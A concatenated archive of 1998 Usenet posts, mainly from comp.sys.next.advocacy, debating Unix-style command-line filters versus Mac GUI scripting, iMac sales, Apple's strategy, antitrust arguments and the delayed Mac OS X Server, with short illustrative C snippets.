References: <heaney-0509981648590001@24.0.246.137> <35F6D06C.562D8CEA@ericsson.com> <6t6te6$cpb@newsb.netnews.att.com> <35F702AF.BA9E9097@ericsson.com> <6t92f7$fhs@newsb.netnews.att.com> <35F822A8.2ECB2800@ericsson.com> <heaney-1009981959380001@24.0.246.137> <6tb9c1$q4m$1@nnrp02.primenet.com> <joe.ragosta-1109981035180001@wil123.dol.net> <6tbdr8$dbh$1@bunyip.cc.uq.edu.au> <35f940de.0@news.depaul.edu> <heaney-1109981251420001@24.0.246.137> <x7k93ay1ss.fsf@loathe.com> <jesse-ya02408000R1409981202210001@news.latrobe.edu.au> <slrn6vpenj.sv.jason@jhste1.dyn.ml.org> <6tkc0d$p94$1@nnrp1.snfc21.pbi.net>
William Edward Woody posted the following to comp.sys.mac.advocacy:
>(Who remembers laughing like hell at a message given to him by
>a Linux configuration tool on his home PC: "please contact your
>system administrator for more information."
>WHAT SYSTEM ADMINISTRATOR? It's my PERSONAL computer!)
I guess that we could conclude that Linux had you talking to yourself.
;)
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Tue, 15 Sep 1998 00:26:17 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6tl4pf$2c$1@nnrp4.snfc21.pbi.net>
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179> <EypqG4.4pI@T-FCN.Net> <6sn8a6$vae$1@nnrp1.snfc21.pbi.net> <6snl5a$pk85@odie.mcleod.net> <bsarpNOSPAM-0409980302490001@47.net10.nauticom.net> <6sp0b9$gvu1@odie.mcleod.net> <6sp3dj$8h2$1@nnrp02.primenet.com> <6srlni$crv$1@nnrp1.dejanews.com> <6ss1un$14c$1@nnrp03.primenet.com> <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <35F5888B.AE0C62FB@ericsson.com> <6t7l35$11t@news1.panix.com> <35F76C2D.69F42A67@nstar.net> <6tf2bt$g6b$1@news00.btx.dtag.de> <6tfi6o$1kn$1@nnrp4.snfc21.pbi.net> <heaney-1409981027120001@24.0.246.137>
John Heaney wrote in message ...
>In article <6tfi6o$1kn$1@nnrp4.snfc21.pbi.net>, "William Edward Woody"
><woody@alumni.caltech.edu> wrote:
>
>> Lars Träger wrote in message <6tf2bt$g6b$1@news00.btx.dtag.de>...
>> >
>> >Ever heard of faceless drag-and-drop apps?
>>
>> The problem with the faceless drag-and-drop app is that you
>> cannot easily pipe the output of one to the input of another.
>> Nor do you have the flexability of stringing them together
>> using some form of script file. And developing droplets without
>> a framework is a bitch.
>
>You don't need faceless apps. The GUI itself is the standard interface in
>combination with AppleEvents is the framework for stringing together
>applications. The framework has been developed as represented by the
>various macro and scripting utilities.
Sorry, I wasn't being clear.
What I wrote "And developing droplets without a framework is
a bitch", I was refering to the fact that it is a pain in the
neck to develop a droplet without an _Application_ _Framework_,
or a software library which encodes the common functionality
that a droplet application developer has to provide to make a
successful Macintosh droplet application.
>> Further, on the Macintosh, most solutions which provide some
>> form of "filter" functionality do not permit you to write your
>> "filter" as a complete and simple application. Developing a
>> simple filter program under Unix is as simple as writing a
>> program with simple I/O: no additional framework or
>> environmental restrictions apply.
>
>AppleScript does let you save a script as an executable (chmod -x). Also,
>OneClick let's you save a script as a button in a floating palette, which
>is an extension of the GUI, and all the macro utilities allow you to
>attach a macro (script) to a key press.
Now we're talking about completely different things.
When I wrote "no additional framework or environmental restrictions
apply," I was refering to the fact that writing a filter app
under Unix is as simple as:
int main()
{
char buffer[256];
char *a;
while (NULL != fgets(buffer,sizeof(buffer),stdin)) {
for (a = buffer; *a != 0; a++) *a = toupper(*a);
fputs(buffer,stdout);
}
}
for a simple filter that converts the text of a text file to
all upper case. (While this is a silly example, the equivalent
application droplet couldn't be written on the Macintosh in as
few lines of code without some using some sort of application
framework library.)
>> Beyond that, as there is no standard for "filter" applications,
>> it's not easy to interchange between them. That is, it's
>> not easy to use someone else's filter designed for another
>> platform inside of your application. Nor is it easy to create
>> an application that uses anyone's filter.
>
>The GUI provides (or should provide) all that is necessary for an
>interface for "filter" applications. We do not need separate applications
>for "filter" vs "editors." The concept of a filter application is a
>shortcut for programmers that don't want to take the time to add a bunch
>of GUI stuff. However, all of the programming environments provide the
>basis for the core GUI elements needed to create the basic needs of an
>application. There are also many others available.
You're missing my point here as well.
The reason why I believe that having separate applications such
as "filters" which can then be invoked from an "editor" is that
I believe this provides a wonderful way of providing "component
software" that is easy for programmers to develop software for.
Take Metrowerk's Codewarrior, for example. It's integrated IDE
is a wonderful (IMHO) integrated environment for writing software.
And it provides a "plugin" architecture by which third party
developers in theory can provide new compiler technology.
Metrowerks itself uses this architecture to provide separate
compilers for C and Pascal for the 68k Mac, PPC Mac and
Microsoft Windows, just to name a few.
When you get into the heart of the plugin's architectual spec,
you realize that a hell of a lot of effort went into making
it work. (I know, because I wanted to add a post-linker to
the Metrowerks environment which incremented a version number
each time my program was successfully compiled.) There is a
tremendous amount of overhead in there, and a tremendous amount
of complexity to allow the Macintosh version of Codewarrior
to do the equivalent of:
sprintf(buffer,"g++ -c %s %s",inFile,outFile);
system(buffer);
(I'm deliberately simplifying here. And part of the Metrowerks
plugin architecture is devoted to the plugin passing it's
"command-line arguments" to the IDE so they can be asked for
in a pretty dialog box. But even with these things taken into
account, there is still a hell of a lot of overhead in the
Metrowerks IDE in order to do the equivalent of a Unix
'fork'/'exec' call.)
I will grant that developing a "filter" is a hell of a lot
easier than developing a GUI application. But that's the
whole beauty of the thing: the "filter" provides a nice,
easy to use, well understood, self contained computational
component that can then be incorporated into the GUI
application. And because these filters launch in their
own process (complete with their own memory space, etc.,
etc., etc), and because these filters can be developed
and tested independently of the GUI layer, using filters
as computational plugins has a lot of advantages over older
techniques such as code resources.
Can you imagine how easy it would be to develop a Photoshop
plugin, if the Photoshop plugin was nothing more than a
command-line program which took as it's standard input the
old image, and provided to it's standard output the processed
image? And with the advantage of being able to test the
plugin completely independantly of Photoshop, the compile/
test/edit cycle is significantly reduced. Understanding of
how the plugin integrates into Photoshop is reduced to
understanding how command-line programs work: something that
99% of the programmers out there already understand very well.
And testing is significantly simplified as the plugin can
be tested using batch files, rather than having to come
up with complex test scripts to Photoshop.
And imagine being able to develop your own specialized
Photoshop plugin by writing a Unix batch file which calls
several other plugins, or even converts the parameters
and calls a separate Unix utility? And imagine being able
to add your own specialized plugin into Photoshop and
have it operate just like any other plugin?
Can you imagine the benefits to publishing houses, just
to name a single example?
>> While Unix doesn't necessarly solve the last one, it is
>> true that command-line functions are relatively standardized
>> in how they are invoked and run, and it's relatively easy
>> to redirect a command-line application's I/O through your
>> (higher level) GUI application.
>
>Unix has simply been around longer and is more mature in this regard. The
>AppleEvent mechanism has been around for a while and, since Apple made
>support for the core events a requirement, has been becoming more widely
>used with time. The Internet has also provided an impetus for developers
>to support AppleEvents more and for users to be exposed to AppleScripts
>more. Time heals all.
AppleEvents helps solves the problem of scripting and controlling
large monolithic applications. I'm talking about something
completely different.
>Having said all that, the power of batch processing is clearly not as
>widely needed as everyone here seems to assume.
Except that I'm not talking about batch processing.
I'm talking about component software built using CLI applications
as the processing "components", hung together using a GUI front
end.
Let me give you a brief overview of where I want to take YAAF
in about two years. (If you don't know, YAAF is a C++ framework
I wrote that allows developers to write software that compiles
and runs with few modifications on the MacOS, Windows 95/98/NT,
and Linux under X.)
I believe that the future of the operating system is component
software. But not the notion of component software that was
advanced with the original OLE specification and OpenDoc.
No, I believe the future is in reusable computational
components and in reusable interface components. You can see
this now with Microsoft's Visual Basic: drag and drop a menu
bar <here>, drop a table view <there>, throw in an editor over
<there>, add a few buttons along the top, and volia! instant
Mail Tool Interface!
I'd like to do the same with YAAF. Eventually I'd like to provide
a placeholder so that someone can add a Basic interpreter and
control various plugin controls, so that you can string together
a user interface literally by firing up the IDE and drawing
your interface.
This is nothing new, by the way: Java Beans is headed in the
same direction, as well as RealBasic and a few other rapid
application development environments.
The thing that is missing from this picture, though, is the
large-scale computational component: the piece of software that
(from the above example) actually takes the text file, logs
into the SMTP server, and sends the e-mail message out to the
Internet.
And that is where the CLI application comes in. In my vision of
the future, the CLI application becomes that large-scale
computational component: it is the C++ compiler or Linker
in the IDE, or the SMTP client program in the mail tool, or
the application that actually accesses the SQL server to get
you a list of the number of widgets you sold yesterday.
Trust me: as soon as MacOS X hits, I'm creating a C++ class
which allows you to invoke a command line program with a
standard in and output stream, along with command line
arguments. That way, the CLI application can be used as the
computational plugin. And that way, even Unix shell script
hackers can create their own plugins, just in case you want
to use my Mail Tool to post NNTP messages to Usenet instead.
Two footnotes.
First, the power of Unix is that Unix developers, without
really realizing it, created the first "component architecture"
years before it was a buzzword in a Microsoft Prospectus.
You can see this component architecture in use everytime someone
types "ps -aux | grep Netscape".
Second, if you can't immediately grasp the power of component
software--and with it the power to take a large application
and turn it into small, easily developed and maintained
pieces--you need more experience working as a software
developer on a huge, monolithic application. Trust me: it
ain't pretty.
- Bill Woody woody@pandawave.com
The PandaWave http://www.pandawave.com
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Mon, 14 Sep 1998 20:57:10 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1409982057110001@dialin9181.slip.uci.edu>
References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com> <rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com> <rmcassid-0909981511080001@hephaestus.eng.uci.edu> <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com> <rmcassid-1009981404080001@hephaestus.eng.uci.edu> <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com> <rmcassid-1409981101110001@hephaestus.eng.uci.edu> <35fda281.0@news.depaul.edu>
In article <35fda281.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> Robert Cassidy <rmcassid@uci.edu> wrote:
> > Oh, by the way. I asked around and it turns out I do know a few iMac
> > owners. Mostly new computer users or people replacing 5-10 year old Macs
> > and PCs.
>
> I would have had my father buy one, but transferring files from
> an SE/30 to an iMac would have been a hassle without a floppy.
Borrow some sort of localtalk<->ethernet bridge from somebody. Or plug a
modem into the SE/30 and transfer them that way. Apple has instructions
posted.
File transfer does seem to be a bit of a problem for many. Apple should
have hardware to loan to users for the transfer - like they did for the
Newton upgrades a few years ago. CompUSA or whomever could have a
Superdisk to loan out or rent at purchase.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Mon, 14 Sep 1998 20:52:48 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1409982052490001@dialin9181.slip.uci.edu>
References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com> <6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com> <rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com> <rmcassid-0909981511080001@hephaestus.eng.uci.edu> <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com> <rmcassid-1009981404080001@hephaestus.eng.uci.edu> <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com> <rmcassid-1409981059350001@hephaestus.eng.uci.edu> <GYfL1.5641$MS.14782014@news.rdc1.sdca.home.com>
In article <GYfL1.5641$MS.14782014@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
> In <rmcassid-1409981059350001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
> > If we've learned anything in the years since 1984, its that technical
> > superiority isn't the goal, merely a potential point of failure averted.
> I want an Apple that is able to compete against the "WinXX" juggernaut.
> They can't do so with ex-Newton and surely won't be scaling Mac down to
> wireless devices.
I'm just concerned about Apple taking on yet another different thing that
requires users and developers to trust them not to screw up. Apple really
does need focus, and while we've seen some in hardware and some in MacOS,
we've yet to see it on the NeXT technologies. Throwing in EPOCH seems like
asking a lot of Apple right now.
> > Go wander though Iowa and that 24 months will
> > quickly look like 60.
>
> Nah, they'll figure out a way to stick wireless devices into where the tape
> player goes in the radio for those folks in Iowa :-)
Hell, a lot of them don't have FM yet! :-)
[Not to audience, Bob's mom lives in Iowa, so turn the flames down a touch
please]
> You're right, the event horizon is farther out for the mainstream. The
> window of opportunity bigger than I make it out to be.
On the other hand, I'm not sure how much being first and being best
counts. Looking at the PCS landscape, it's not clear to me.
> > Well, support helps make the argument. Apple could be that other thing.
> > Clearly they are able to capture the public's attention as witnessed by
> > the iMac.
> >
> I'm skeptical of iMac's legacy for Apple. I want to see both what they do
> with iMac AND how they treat those early adopter's of the iMac technology
> platform.
Well, the iMac looks reasonably easy to keep up-to-date. Modems are pretty
much at the limit of where they can go. The CPU is unofficially
upgradable, it has 100BaseT, and USB is new and not likely to go away. As
for the OS, the iMac is the the model for future hardware so it should be
supported for a reasonably long period of time. There is even a chance
they will offer expansion via the PERCH slot.
Future PBs will likely be very similar save for Firewire and SCSI. Same
for desktops. The only thing I really wish the iMac had was a pair of
Cardbus slots...
> > I'm not sure how committed they are to the Mac centric OS or how committed
> > they are to the illusion of the Mac centric OS.
>
> You're far more willing to give Apple the benefit of the doubt here, than am
> I. Mac appears to be cast in GUI since 1984. NeXT users pooh, poohed a
> neat NeXTSTEP GUI update, myself included. I understand how the GUI gets
> stuck. NeXTSTEP lost shelf tabs and a host of improvements, I continue to
> regret pooh, poohing.
One trend seems to be opening UI choices to the user. Apple is also being
remarkably responsive to feedback. It's hard to be too skeptical when you
can look at features and know which of your colleagues were responsible
for the suggestion, and lo and behold it came to be. That was _totally_
unheard of 12 months ago.
> I don't want Apple to miss the boat to wireless, 'cuz I think its about to
> leave port without them. Since their strategy seems "consumer" oriented,
> wireless is their market _or_ soon their target market will be wireless.
Well, that makes sense. Apple at least seems to be working more closely
with 3Com on the Palm integration. Maybe they're not totally in the dark
here...
> At some point Apple has so many brush fires to put out like Quark, Adobe,
> wireless that people throw their hands up and walk away from the situation.
> I've adopted WinXX for all my wireless since I won't be left stranded with a
> device without a port :-)
Great. You'll have 100 devices and 100 ports to plug them into... :-)
Apple does have a lot on it's hands these days. We'll see how they handle
it.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: Mon, 14 Sep 1998 21:05:42 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1409982105430001@dialin9181.slip.uci.edu>
References: <35FC1A30.EE020BD5@nstar.net> <rmcassid-1409981129210001@hephaestus.eng.uci.edu> <6tkdlv$dgb@news1.panix.com>
In article <6tkdlv$dgb@news1.panix.com>, sal@panix.com wrote:
> One of the major reasons why he picked the iMac was its small footprint.
> The iMac is a highly apartment/dorm friendly design. Some people have
> claimed that laptops outsell desktops in NYC when you compare machines
> bought by individuals for individual use. In a city where space is at a
> very high premium, a machine that can be moved out of the way in five
> minutes without having to untangle a rats nest of wires has definite
> advantages.
I've heard rumors that some of the CompUSA's in NYC are seeing Mac sales
up to 1/3 of their total sales. Wouldn't that not suck?
> >Come xMas look for Apple to sweeten the deal a bit.
>
> Lowering the price to $999?
Don't count on it. Probably a bundle or a smaller price drop. After all,
if they keep selling, why drop the price?
-Bob Cassidy
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.os.mac.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy,comp.sys.next.advocacy
Subject: To Cybernaught
Date: Mon, 14 Sep 1998 22:02:02 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1409982202020001@sdn-ar-001casbarp112.dialsprint.net>
References: <1dfd9dt.tvhkz6fkmzpcN@pppsl972.chicagonet.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <1dfd9dt.tvhkz6fkmzpcN@pppsl972.chicagonet.net>,
guess@it.spammer (Cybernaught) wrote:
Cybernaught (guess@it.spammer), what is your email address? Also what is
your first name? Is it "Edwin"? Is your last name "Thorne"?
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
Date: Tue, 15 Sep 1998 06:42:01 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <joe.ragosta-1509980642020001@elk34.dol.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net>
In article <35FDF69E.23AE0964@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> Sal Denaro wrote:
>
> > >Think it through carefully and slowly. Can Dell replace your Macintosh?
> >
> > Yes. If they couldn't, then Apple's market share could not drop.
>
> I was being specific to Joe Ragosta. Sure, many Mac users would be
> amenable to using a Dell machine, but people like Joe would not. The
> market Joe and his ilk represent is a very real, very closed market.
Then how do you explain the PC on my desk?
>
> > What can be done on a Mac that can not be "reasonably replaced" by a Dell?
> > Both can run Photoshop, Office and Netscape. Both can run Linux and BSD
> > OSs. Both are available in beige boxes with IDE drives and PCI slots.
>
> What can't be replaced are the intangibles that make the Mac so uniquely
> endeared to Joe and his like. I recommended an iMac upgrade to a friend
> tonight because I knew that a Dell wouldn't replace a Mac for his unique
> situation.
>
> > Apple has to differentiate its product from Compaq and Dell, just as
Gateway,
> > IBM and HP have to.
>
> Absolutely, because most people are not like Joe.
>
> MJP
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
Date: Tue, 15 Sep 1998 11:09:57 +0100
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <christian.bau-1509981109570001@christian-mac.isltd.insignia.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <35FD50CB.CCFAF0A6@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> The theory of the monopoly is that a particular market is bounded by
> replacement constraints, i.e. if a competitor cannot reasonably sell a
> replacement for your product, you have a monopoly on that product.
>
> In the case of Compaq and Dell, either one can reasonably replace the
> others' machines with little trouble. The situation between Macs and
> Intel-standard PCs is different. As I've already pointed out, the DoJ's
> case against Microsoft is based heavily on the argument that Microsoft
> is "tying" its browser to its operating system. One of the more recent
> examples of this was a case involving Kodak "tying" service to its
> copiers.
>
> Think it through carefully and slowly. Can Dell replace your Macintosh?
> You've already stated the contrary in a hundred ways on a thousand
> occasions. Apple is the sole supplier of your drug of choice. They have
> a monopoly on your market.
They are all in the desktop computer market. If you want to replace one
desktop computer with another, you can do so. Do you think all
manufacturers of perfumes have monopolies (they all smell different, so
you cant substitute one for another)? Your argumentation is ridiculous.
From: hughesojh@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: [Q] Rhapsody File Viewer
Date: Tue, 15 Sep 1998 12:14:38 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6tllne$o48$1@nnrp1.dejanews.com>
References: <35F6B619.1A937B2B@yahoo.com> <6t6eva$fd8@shelob.afs.com> <cdoutyEz16sD.4sn@netcom.com>
The Rhapsody file viewer is the same one as in the WorkSpace Manager?
Will this be shipping with "normal" MAC OS X
Will I be able to compile it if it isn't?
Owen Hughes
N. Wales
In article <cdoutyEz16sD.4sn@netcom.com>,
cdouty@netcom.com (Chris Douty) wrote:
> In article <6t6eva$fd8@shelob.afs.com>,
> Gregory H. Anderson <Greg_Anderson@afs.com> wrote:
> >Don't know about the clipboard, but my DR2-equipped PowerMac has a Mac
> >(HFS) partition that shows up in the OS/X File Viewer and can launch
> >data files directly from there to OS/X apps.
>
> ?Que?
> I don't recall my RDR2 PowerMac acting like this. Do you have some extra
> goodies that allow this magic? My HFS+ partition does not show up under
> the Rhapsody File Viewer.
>
> I'm all ears. :-)
>
> -Chris
>
> --
> Christopher Douty - Rogue Engineer trapped in a land of software
> cdouty@netcom.com
> "Frequently the messages have meaning; that is they refer to or are correlated
> according to some system with physical or conceptual entities. These semantic
> aspects of communication are irrelevant to the engineering problem." -Shannon
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Tue, 15 Sep 1998 10:42:37 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <joe.ragosta-1509981042370001@wil101.dol.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <joe.ragosta-1509980642020001@elk34.dol.net> <35FE709B.3ECE3330@nstar.net>
In article <35FE709B.3ECE3330@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Joe Ragosta wrote:
>
> > > I was being specific to Joe Ragosta. Sure, many Mac users would be
> > > amenable to using a Dell machine, but people like Joe would not. The
> > > market Joe and his ilk represent is a very real, very closed market.
> >
> > Then how do you explain the PC on my desk?
>
> Main Entry: re·place
> Pronunciation: ri-'plAs
> Function: transitive verb
> Date: 1595
> 1 : to restore to a former place or position <replace cards in a file>
> 2 : to take the place of especially as a substitute or successor
> 3 : to put something new in the place of <replace a worn carpet>>
I could cite the dictionary definition for "learn", "to", and "read", too.
You said "people like Joe would not [be amenable to _using_ a Dell
machine]". That statement was clearly in error. The fact that you were
able to read a dictionary definition that was entirely unrelated doesn't
change your error.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple heading to obscurity?
Content-Type: text/plain; charset=us-ascii
Message-ID: <EzBz1F.J1z@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: scholl@callisto.acsu.buffalo.edu
Organization: none
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com>
<EzA43F.JFx@T-FCN.Net> <6tkcji$c10$1@callisto.acsu.buffalo.edu>
Mime-Version: 1.0
Date: Tue, 15 Sep 1998 15:00:50 GMT
In <6tkcji$c10$1@callisto.acsu.buffalo.edu> Edward P Scholl wrote:
> those pictures are from an independant source- maxim magazine.
No, they were produced in house. The web page goes into some shameful
detail on this topic. Sadly I clicked on the link to Maxim by mistake.
Uggg. Who buys these things?
> of those "as seen is" thingies. a much better example would have been:
> http://www.rockcity.net/home.html looks like they put that up themselves.
=)
Indeed. Note the names of the various frames making up the picture. For
instance the frame on her head says something like "air here" (it's chopped
of on my view). I fired off this letter to their sales people...
------
Someone recently sent me to your web page in the midst of a thread about
the iMac. Let me note that I was not only accosted by a page that basically
doesn't work, but insulted by the images and very concept of the sales
effort.
Unless your target market is 15 year old boys, the direction your web page
takes is ridiculous. It appears to have been designed by someone with some
real misogynist issues to work out. I note, for instance, that none of the
"party girls" on the web site appear to actually be _using_ a computer,
although why one would do so in string pumps is beyond me. The marketing
catch phrase "it's loud in here" is both stupid and at the same time a
wonderful description of the general layout of the site.
After clicking on the jiggly girl on the home page, I was sent to another
page where it appeared I was supposed to click on yet another image, yet
doing so did nothing. Instead one has to click on the items in the "menu" to
the left, where most of the attached pages are either broken, empty, or
poorly laid out. The very first page for instance...
¬http://www.rockcity.net/01specs/01a-overview.html
has the text in the 2nd column chopped off. Although the next page worked
it failed to mention anything about monitors, so I concluded that they don't
ship with monitors. Of course I wanted to see how much the monitors would
cost, but the monitors page (both of the next two pages actually) are empty.
Other "eyeborne insults" include the way the menu moves about randomly on
every page, leading to a weird bouncing effect as you flip pages, and the
general layout that puts a link to more photos of your model under "phat
gear" - which claims to be about hardware.
So this is what's become of the Panda project, so much promise a few short
years ago, so much shame today.
Here's my suggestions: Fire your web site builder because they obviously
don't know what they're doing - as demonstrated by a page that effectively
does nothing. Also consider firing your marketting bozos for allowing this
to happen in the first place. Finally, try to find some other way of selling
your computers than models with their legs spread open while they clutch at
their crotch (¬http://www.rockcity.net/02news/02b-news.html).
Maury
Date: Mon, 14 Sep 1998 09:15:38 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Message-ID: <stevehix-1409980915420001@192.168.1.10>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6stdr0$919$1@msunews.cl.msu.edu> <6svjjn$28f@newsb.netnews.att.com> <6t795i$58t$2@msunews.cl.msu.edu> <6t92ur$fin@newsb.netnews.att.com> <6tck8c$cvj$3@csu-b.csuohio.edu>
Organization: Close to None
In article <6tck8c$cvj$3@csu-b.csuohio.edu>, drsoran@black.ops.cia.net wrote:
> Apple's best bet is to continue floundering around from quarter
> to quarter like it is doing now and try to keep its head above water.
Serious floundering going on these days...increasing profits and
successful major product launches.
> When Merced is eventually released they should drop PowerPC and move
> MacOS support fully behind a single common 64 bit processor that you
> know is going to the standard on every desktop in the world in 5 years
> anyway.
Dream on. There is no certainty at this point that Merced is going
to show better than barely adequate performance, especially early on.
The EPIC approach is by no means a sure deal.
> If I was going to go and take the jump into the proprietary
> hardware arena I'd much rather buy a Sparc than a Mac.
Date: Wed, 16 Sep 1998 10:10:19 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Message-ID: <joe.ragosta-1609981010200001@wil133.dol.net>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35ec7a19.0@news.depaul.edu> <6sjdd8$am7$1@nnrp1.dejanews.com> <6tf372$2b0$2@ironhorse.plsys.co.uk> <6tj38l$mmr$1@nnrp1.dejanews.com> <83gL1.5642$MS.14782014@news.rdc1.sdca.home.com> <6tlmsr$pec$1@nnrp1.dejanews.com> <35FE903C.1867FF38@nstar.net> <6tmi5t$opj$1@nnrp1.dejanews.com> <35FED2E8.45754EB7@nstar.net> <6tocou$r66$1@nnrp1.dejanews.com>
In article <6tocou$r66$1@nnrp1.dejanews.com>, spagiola@my-dejanews.com wrote:
> "Michael J. Peck" <mjpeck@nstar.net> wrote:
> > spagiola@my-dejanews.com wrote:
> > > So, in case anyone else is equally confused, yes, there is a Mac OS
X Server
> > > -- it is the OS formerly known as Rhapsody (for an overview, see
> > > http://developer.apple.com/macosx/server/). That it exists is not in
> > > question. When it will be released and at what price is very much in
> > > question, and indeed the point of this whole thread (which I started).
> >
> > There is little compelling proof for MacOS X Server's existence or
> > release that was not also available for Copland. There was a complete
> > MacOS 8 section on Apple's Website (mind you, a *very* different MacOS 8
> > than Apple has ever shipped).
>
> Well, I don't remember exactly what was available for Copland. If there ever
> was a Copland DR2 release that was widely seeded to developers, then you're
> right. If there wasn't then you're wrong.
Apple didn't even distribute Copland DR1 to developers. The statement was
that it would make them physically ill.
>
> Lots of people who read this group have received Rhapsody/MacOS X Server DR2.
> here's one almost two-month article that describes "what's new in Dr2":
> http://www.stepwise.com/Articles/StonesThrow/Throw21.html
>
> I repeat: MacOS X server's existence is not in question, and attempts to
> insist otherwise smack of FUDding at best. It's shipping date is in question.
> We were told Q3 98 at WWDC. We're now well into Q3, and still not a word.
From: jdoherty@ix.netcom.com (John Doherty)
